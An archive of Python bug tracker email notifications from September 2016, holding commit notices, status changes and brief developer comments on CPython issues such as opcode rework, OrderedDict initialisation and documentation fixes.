In-Reply-To: <1473446451.47.0.453913099768.issue28049@psf.upfronthosting.co.za>
Message-ID: <1473447346.78.0.145663079038.issue28049@psf.upfronthosting.co.za>


Changes by Guido van Rossum <guido at python.org>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28049>
_______________________________________

From report at bugs.python.org  Fri Sep  9 14:56:13 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 09 Sep 2016 18:56:13 +0000
Subject: [issue16221] tokenize.untokenize() "compat" mode misses the encoding
 when using an iterator
In-Reply-To: <1350192416.31.0.110132465833.issue16221@psf.upfronthosting.co.za>
Message-ID: <1473447373.14.0.657991635758.issue16221@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16221>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:00:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:00:41 +0000
Subject: [issue28047] email set_content does not always use the correct line
 length for the base64 CTE
In-Reply-To: <1473445505.37.0.31180930974.issue28047@psf.upfronthosting.co.za>
Message-ID: <20160909190028.19406.84402.4DD7D71C@psf.io>


Roundup Robot added the comment:

New changeset 99db6a25444b by R David Murray in branch '3.5':
#28047: Fix calculation of base64 line length.
https://hg.python.org/cpython/rev/99db6a25444b

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28047>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:01:17 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 19:01:17 +0000
Subject: [issue24594] msilib.OpenDatabase Type Confusion
In-Reply-To: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za>
Message-ID: <1473447677.41.0.528062092051.issue24594@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'm applying the patch, with one small change to pass through persist rather than assuming the variable exists. It'll be 2.7, 3.5 and default.

----------
versions: +Python 3.5 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24594>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:01:29 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 19:01:29 +0000
Subject: [issue28047] email set_content does not always use the correct line
 length for the base64 CTE
In-Reply-To: <1473445505.37.0.31180930974.issue28047@psf.upfronthosting.co.za>
Message-ID: <1473447689.47.0.00577691580085.issue28047@psf.upfronthosting.co.za>


R. David Murray added the comment:

This is buggy in the old email code as well, but it doesn't affect anything there because only the default line length is ever used.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28047>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:04:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:04:34 +0000
Subject: [issue27576] An unexpected difference between dict and OrderedDict
In-Reply-To: <1468962090.7.0.636707577928.issue27576@psf.upfronthosting.co.za>
Message-ID: <20160909190431.36318.46779.E90C7FEF@psf.io>


Roundup Robot added the comment:

New changeset 70758c12e888 by Eric Snow in branch 'default':
Issue #27576: Fix call order in OrderedDict.__init__().
https://hg.python.org/cpython/rev/70758c12e888

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27576>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:06:20 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 19:06:20 +0000
Subject: [issue27576] An unexpected difference between dict and OrderedDict
In-Reply-To: <1468962090.7.0.636707577928.issue27576@psf.upfronthosting.co.za>
Message-ID: <1473447980.4.0.609976451996.issue27576@psf.upfronthosting.co.za>


Eric Snow added the comment:

Thanks for pointing this out, Alexander.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27576>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:07:14 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 19:07:14 +0000
Subject: [issue27576] An unexpected difference between dict and OrderedDict
In-Reply-To: <1468962090.7.0.636707577928.issue27576@psf.upfronthosting.co.za>
Message-ID: <1473448034.85.0.407573438001.issue27576@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27576>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:10:11 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:10:11 +0000
Subject: [issue24594] msilib.OpenDatabase Type Confusion
In-Reply-To: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za>
Message-ID: <20160909191003.19517.88631.AD5CECD1@psf.io>


Roundup Robot added the comment:

New changeset e524d5dc8767 by Steve Dower in branch '2.7':
Issue #24594: Validates persist parameter when opening MSI database
https://hg.python.org/cpython/rev/e524d5dc8767

New changeset fa89e107f43d by Steve Dower in branch '3.5':
Issue #24594: Validates persist parameter when opening MSI database
https://hg.python.org/cpython/rev/fa89e107f43d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24594>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:10:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 19:10:34 +0000
Subject: [issue24594] msilib.OpenDatabase Type Confusion
In-Reply-To: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za>
Message-ID: <1473448234.58.0.0987083445959.issue24594@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24594>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:11:31 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 19:11:31 +0000
Subject: [issue28050] test_traceback is broken by new CALL_FUNCTION* opcodes
Message-ID: <1473448291.52.0.407071935548.issue28050@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I skipped the failing tests just to be able to push my FASTCALL changes before Python 3.6 feature freeze.

I opened this issue to not forget to fix it.

----------
messages: 275396
nosy: Demur Rumed, haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: test_traceback is broken by new CALL_FUNCTION* opcodes
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28050>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:11:44 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 19:11:44 +0000
Subject: [issue26137] [idea] use the Microsoft Antimalware Scan Interface
In-Reply-To: <1453023852.0.0.39090079449.issue26137@psf.upfronthosting.co.za>
Message-ID: <1473448304.08.0.631204894444.issue26137@psf.upfronthosting.co.za>


Steve Dower added the comment:

Would be nice to add this, but I have no immediate plans so I'm unassigning it.

----------
assignee: steve.dower -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26137>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:12:22 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 19:12:22 +0000
Subject: [issue27569] Windows install problems
In-Reply-To: <1468892841.27.0.521360350751.issue27569@psf.upfronthosting.co.za>
Message-ID: <1473448342.24.0.955484988026.issue27569@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27569>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:22:26 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 09 Sep 2016 19:22:26 +0000
Subject: [issue27951] the reply's additional "Re:" is ok
In-Reply-To: <1473039030.13.0.589267107728.issue27951@psf.upfronthosting.co.za>
Message-ID: <1473448946.86.0.336731893421.issue27951@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

In the absence of response, I think this should be treated as spam and deleted.  David?

----------
nosy: +r.david.murray, terry.reedy
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:24:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:24:16 +0000
Subject: [issue28035] make buildbottest when configured --with-optimizations
 can cause a recompile?
In-Reply-To: <1473396902.46.0.10925434221.issue28035@psf.upfronthosting.co.za>
Message-ID: <20160909192412.48515.32905.190B6DBE@psf.io>


Roundup Robot added the comment:

New changeset 852b0f536791 by Gregory P. Smith in branch '3.5':
Fix make buildbottest to not re-trigger a profile-opt build. issue28035.
https://hg.python.org/cpython/rev/852b0f536791

New changeset 914a81781291 by Gregory P. Smith in branch 'default':
Fix make buildbottest to not re-trigger a profile-opt build. issue28035.
https://hg.python.org/cpython/rev/914a81781291

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28035>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:25:28 2016
From: report at bugs.python.org (SilentGhost)
Date: Fri, 09 Sep 2016 19:25:28 +0000
Subject: [issue27951] the reply's additional "Re:" is ok
In-Reply-To: <1473039030.13.0.589267107728.issue27951@psf.upfronthosting.co.za>
Message-ID: <1473449128.5.0.967255833764.issue27951@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> not a bug
stage: test needed -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:25:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:25:50 +0000
Subject: [issue28035] make buildbottest when configured --with-optimizations
 can cause a recompile?
In-Reply-To: <1473396902.46.0.10925434221.issue28035@psf.upfronthosting.co.za>
Message-ID: <20160909192548.2071.82849.7BB32522@psf.io>


Roundup Robot added the comment:

New changeset 951f0de11a01 by Gregory P. Smith in branch '2.7':
Fix make buildbottest to not re-trigger a profile-opt build. issue28035.
https://hg.python.org/cpython/rev/951f0de11a01

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28035>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:27:40 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 19:27:40 +0000
Subject: [issue28035] make buildbottest when configured --with-optimizations
 can cause a recompile?
In-Reply-To: <1473396902.46.0.10925434221.issue28035@psf.upfronthosting.co.za>
Message-ID: <1473449260.31.0.429341658442.issue28035@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

having fixed this that way... I wonder why we bother having the buildbottest target depend on a compilation target at all.

buildbots always do a separate compile and test phase, we should really use a make target that assumes the compile phase has finished.  as is, i still see it try to recompile a couple things in make buildbottest which could mean it isn't quite testing what we wanted from the 'compile' phase...

----------
resolution:  -> fixed
stage:  -> commit review
status: open -> closed
type:  -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28035>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:28:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:28:41 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <20160909192838.69446.95659.9B6FA468@psf.io>


Roundup Robot added the comment:

New changeset a77756e480c2 by Victor Stinner in branch 'default':
Rework CALL_FUNCTION* opcodes
https://hg.python.org/cpython/rev/a77756e480c2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:28:41 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:28:41 +0000
Subject: [issue28050] test_traceback is broken by new CALL_FUNCTION* opcodes
In-Reply-To: <1473448291.52.0.407071935548.issue28050@psf.upfronthosting.co.za>
Message-ID: <20160909192838.69446.42997.60E9439D@psf.io>


Roundup Robot added the comment:

New changeset a77756e480c2 by Victor Stinner in branch 'default':
Rework CALL_FUNCTION* opcodes
https://hg.python.org/cpython/rev/a77756e480c2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28050>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:31:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:31:29 +0000
Subject: [issue14976] queue.Queue() is not reentrant,
 so signals and GC can cause deadlocks
In-Reply-To: <1338540186.86.0.989988943379.issue14976@psf.upfronthosting.co.za>
Message-ID: <20160909193126.69891.99099.7A04D4F4@psf.io>


Roundup Robot added the comment:

New changeset 137806ca59ce by Gregory P. Smith in branch '3.5':
Add a note about queue not being safe for use from signal handlers.
https://hg.python.org/cpython/rev/137806ca59ce

New changeset 4e15e7618715 by Gregory P. Smith in branch 'default':
Add a note about queue not being safe for use from signal handlers.
https://hg.python.org/cpython/rev/4e15e7618715

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14976>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:33:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 19:33:39 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473449619.1.0.163175871582.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I'm really sorry Serhiy that I didn't give you more time to finish the review and push yourself the change :-( Feel free to enhance the code, I don't expect major changes.

For test_traceback, I opened the issue #28050: if you already know how to fix it, please go ahead ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:40:24 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 09 Sep 2016 19:40:24 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473450024.63.0.509267898863.issue27971@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Unless the 2.7 docs specify that the utf codecs should violate the standard with respect to lone surrogates, I think this should definitely be closed (as 'not a bug').

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:44:40 2016
From: report at bugs.python.org (Lorenzo Pascucci)
Date: Fri, 09 Sep 2016 19:44:40 +0000
Subject: [issue28051] Typo and broken links in page "What's New In Python 3.5"
Message-ID: <1473450280.07.0.816222969551.issue28051@psf.upfronthosting.co.za>


New submission from Lorenzo Pascucci:

In the documentation page "What's New In Python 3.5" there is a small typo within the section "Improved Modules" related to `asyncio` [0], along with 3 broken links.

Typo:
The function `loop.set_task_factory()` appears linked twice, but the second link is actually for the function `loop.get_task_factory()`.

Links:
The (duplicate) link for `loop.set_task_factory()` and the link for `loop.create_task()` point to the right documentation page, but to wrong anchors: they refer to `BaseEventLoop` whereas they should refer to `AbstractEventLoop`.


[0] https://docs.python.org/3/whatsnew/3.5.html#asyncio

----------
assignee: docs at python
components: Documentation
messages: 275407
nosy: Lorenzo Pascucci, docs at python
priority: normal
severity: normal
status: open
title: Typo and broken links in page "What's New In Python 3.5"
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28051>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:47:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:47:17 +0000
Subject: [issue28051] Typo and broken links in page "What's New In Python 3.5"
In-Reply-To: <1473450280.07.0.816222969551.issue28051@psf.upfronthosting.co.za>
Message-ID: <20160909194714.1897.64794.C0543D07@psf.io>


Roundup Robot added the comment:

New changeset 8e74e76deda1 by Benjamin Peterson in branch '3.5':
repair errors in (set|get)_task_factory note (#28051)
https://hg.python.org/cpython/rev/8e74e76deda1

New changeset ace662dbfdb6 by Benjamin Peterson in branch 'default':
merge 3.5 (#28051)
https://hg.python.org/cpython/rev/ace662dbfdb6

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28051>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:50:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:50:29 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <20160909195025.1800.84652.E4761ACA@psf.io>


Roundup Robot added the comment:

New changeset 854b08acca97 by Victor Stinner in branch 'default':
Issue #27213: document changes in Misc/NEWS
https://hg.python.org/cpython/rev/854b08acca97

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:50:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 19:50:29 +0000
Subject: [issue27830] Add _PyObject_FastCallKeywords(): avoid the creation of
 a temporary dictionary for keyword arguments
In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za>
Message-ID: <20160909195025.1800.35206.44FC6CCA@psf.io>


Roundup Robot added the comment:

New changeset 18d2d128cd1e by Victor Stinner in branch 'default':
Add _PyObject_FastCallKeywords()
https://hg.python.org/cpython/rev/18d2d128cd1e

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27830>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:51:35 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 19:51:35 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473450695.59.0.346786736733.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I just pushed my patch for the issue #27830 (add _PyObject_FastCallKeywords()). I'm trying to even push the first parts of METH_FASTCALL (issue #27810).

Could you please try to rebase callfunc-9.patch on top of the development branch? The code is moving soooo fast this week :-/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 15:59:07 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 19:59:07 +0000
Subject: [issue21009] Potential deadlock in concurrent futures when garbage
 collection occurs during Queue.get
In-Reply-To: <1395416846.85.0.759574712799.issue21009@psf.upfronthosting.co.za>
Message-ID: <1473451147.34.0.361471705525.issue21009@psf.upfronthosting.co.za>


Davin Potts added the comment:

Sounds related to issue14976.

----------
nosy: +davin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21009>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:01:22 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:01:22 +0000
Subject: [issue21009] Potential deadlock in concurrent futures when garbage
 collection occurs during Queue.get
In-Reply-To: <1395416846.85.0.759574712799.issue21009@psf.upfronthosting.co.za>
Message-ID: <1473451282.48.0.563501790309.issue21009@psf.upfronthosting.co.za>


Changes by Davin Potts <python at discontinuity.net>:


----------
superseder:  -> queue.Queue() is not reentrant, so signals and GC can cause deadlocks

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21009>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:02:30 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:02:30 +0000
Subject: [issue21009] Potential deadlock in concurrent futures when garbage
 collection occurs during Queue.get
In-Reply-To: <1395416846.85.0.759574712799.issue21009@psf.upfronthosting.co.za>
Message-ID: <1473451350.05.0.794683492989.issue21009@psf.upfronthosting.co.za>


Davin Potts added the comment:

Per the decision of issue14976.

----------
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21009>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:05:20 2016
From: report at bugs.python.org (Ammar Askar)
Date: Fri, 09 Sep 2016 20:05:20 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <1473451520.41.0.352321541128.issue19489@psf.upfronthosting.co.za>


Ammar Askar added the comment:

>The latter. All of the popular browsers (Chrome, Firefox, Edge and even Safari) already support the placeholder attribute so I think we can safely ignore IE 8 :)

Roger, I've changed it to placeholder.


>I know this is basically a copy of upstream searchbox.html, but we can probably remove ``style="display: none"`` and ``$('.inline-search').show(0);``.

The reason that exists is because sphinx's search relies on javascript.


>inline-search doesn't seem to be necessary here. ``display: inline`` is already applied by ``div.related li``.

Good catch, I've removed the class from there.

----------
Added file: http://bugs.python.org/file44509/searchbar_in_header.diff4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:05:49 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 20:05:49 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473451549.81.0.865185411528.issue28008@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Build bots are green now, closing this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:08:22 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:08:22 +0000
Subject: [issue28052] clarify concurrent.futures docs to not refer to async
 Futures except where truly necessary
Message-ID: <1473451702.52.0.890442424616.issue28052@psf.upfronthosting.co.za>


New submission from Davin Potts:

Per discussions with Yury, Lukasz and BDFL.

----------
messages: 275417
nosy: davin
priority: normal
severity: normal
status: open
title: clarify concurrent.futures docs to not refer to async Futures except where truly necessary
type: enhancement
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28052>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:09:19 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 20:09:19 +0000
Subject: [issue17421] Drop restriction that meta.__prepare__() must return a
 dict (subclass)
In-Reply-To: <1363292427.77.0.787480674647.issue17421@psf.upfronthosting.co.za>
Message-ID: <1473451759.9.0.392800909124.issue17421@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
assignee: eric.snow -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17421>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:12:09 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 20:12:09 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <20160909201206.87425.36246.B8AEEC9A@psf.io>


Roundup Robot added the comment:

New changeset 274b25cd501f by Zachary Ware in branch '3.5':
Issue #19489: Move the search box from sidebar to header and footer.
https://hg.python.org/cpython/rev/274b25cd501f

New changeset 0f94a8fa5445 by Zachary Ware in branch 'default':
Closes #19489: Merge with 3.5
https://hg.python.org/cpython/rev/0f94a8fa5445

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:16:01 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 20:16:01 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <20160909201556.12454.96825.6597E469@psf.io>


Roundup Robot added the comment:

New changeset 8927417c5e88 by Zachary Ware in branch '3.5':
Issue #19489: Add NEWS and ACKS
https://hg.python.org/cpython/rev/8927417c5e88

New changeset 086c3e7a7955 by Zachary Ware in branch 'default':
Issue #19489: Merge with 3.5
https://hg.python.org/cpython/rev/086c3e7a7955

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:16:19 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 20:16:19 +0000
Subject: [issue19489] move quick search box above TOC
In-Reply-To: <1383546510.68.0.587653327623.issue19489@psf.upfronthosting.co.za>
Message-ID: <1473452179.4.0.261103763431.issue19489@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Ammar, thank you very much for the patch!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19489>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:16:38 2016
From: report at bugs.python.org (mike bayer)
Date: Fri, 09 Sep 2016 20:16:38 +0000
Subject: [issue14976] queue.Queue() is not reentrant,
 so signals and GC can cause deadlocks
In-Reply-To: <1338540186.86.0.989988943379.issue14976@psf.upfronthosting.co.za>
Message-ID: <1473452198.75.0.0302074299355.issue14976@psf.upfronthosting.co.za>


mike bayer added the comment:

yep, that's what im doing in my approach.   though longer term thing, I noticed it's very hard to find documentation on exactly when gc might run.   E.g. would it ever run if I did something innocuous, like "self.thread_id = None" (probably not).   Just wasn't easy to get that answer.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14976>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:19:22 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 20:19:22 +0000
Subject: [issue27314] Cannot install 3.5.2 with 3.6.0a1 installed
In-Reply-To: <1465869564.71.0.178376895895.issue27314@psf.upfronthosting.co.za>
Message-ID: <20160909201919.59674.55725.DB37B2D2@psf.io>


Roundup Robot added the comment:

New changeset 85460db4c310 by Steve Dower in branch 'default':
Closes #27314: Fixes launcher installer upgrade table.
https://hg.python.org/cpython/rev/85460db4c310

----------
nosy: +python-dev
resolution:  -> fixed
stage: test needed -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27314>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:19:57 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:19:57 +0000
Subject: [issue9400] multiprocessing.pool.AsyncResult.get() messes up
 exceptions
In-Reply-To: <1280333027.17.0.112361474517.issue9400@psf.upfronthosting.co.za>
Message-ID: <1473452397.85.0.018291759349.issue9400@psf.upfronthosting.co.za>


Davin Potts added the comment:

Richard already backported the fix for objects which can not be pickled but the second fix (applied to 3.3 in #1692335) would be problematic to similarly backport to 2.7.  Because there are reasonable workarounds for this in 2.7, going ahead with marking this closed.

----------
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9400>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:22:58 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 09 Sep 2016 20:22:58 +0000
Subject: [issue21009] Potential deadlock in concurrent futures when garbage
 collection occurs during Queue.get
In-Reply-To: <1395416846.85.0.759574712799.issue21009@psf.upfronthosting.co.za>
Message-ID: <1473452578.06.0.896321253472.issue21009@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Davin: I don't see the link with #14976. There are no external signals involved in this issue. There's just a piece of simple pure Python code, which can deadlock if gc happens to kick in at the wrong moment.

I don't think this issue should be closed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21009>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:26:34 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Fri, 09 Sep 2016 20:26:34 +0000
Subject: [issue28051] Typo and broken links in page "What's New In Python 3.5"
In-Reply-To: <1473450280.07.0.816222969551.issue28051@psf.upfronthosting.co.za>
Message-ID: <1473452794.22.0.211796709007.issue28051@psf.upfronthosting.co.za>


Changes by Benjamin Peterson <benjamin at python.org>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28051>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:27:37 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:27:37 +0000
Subject: [issue21009] Potential deadlock in concurrent futures when garbage
 collection occurs during Queue.get
In-Reply-To: <1395416846.85.0.759574712799.issue21009@psf.upfronthosting.co.za>
Message-ID: <1473452857.56.0.552474621075.issue21009@psf.upfronthosting.co.za>


Changes by Davin Potts <python at discontinuity.net>:


----------
resolution: wont fix -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21009>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:29:26 2016
From: report at bugs.python.org (Nofar Schnider)
Date: Fri, 09 Sep 2016 20:29:26 +0000
Subject: [issue27268] Incorrect error message on float('')
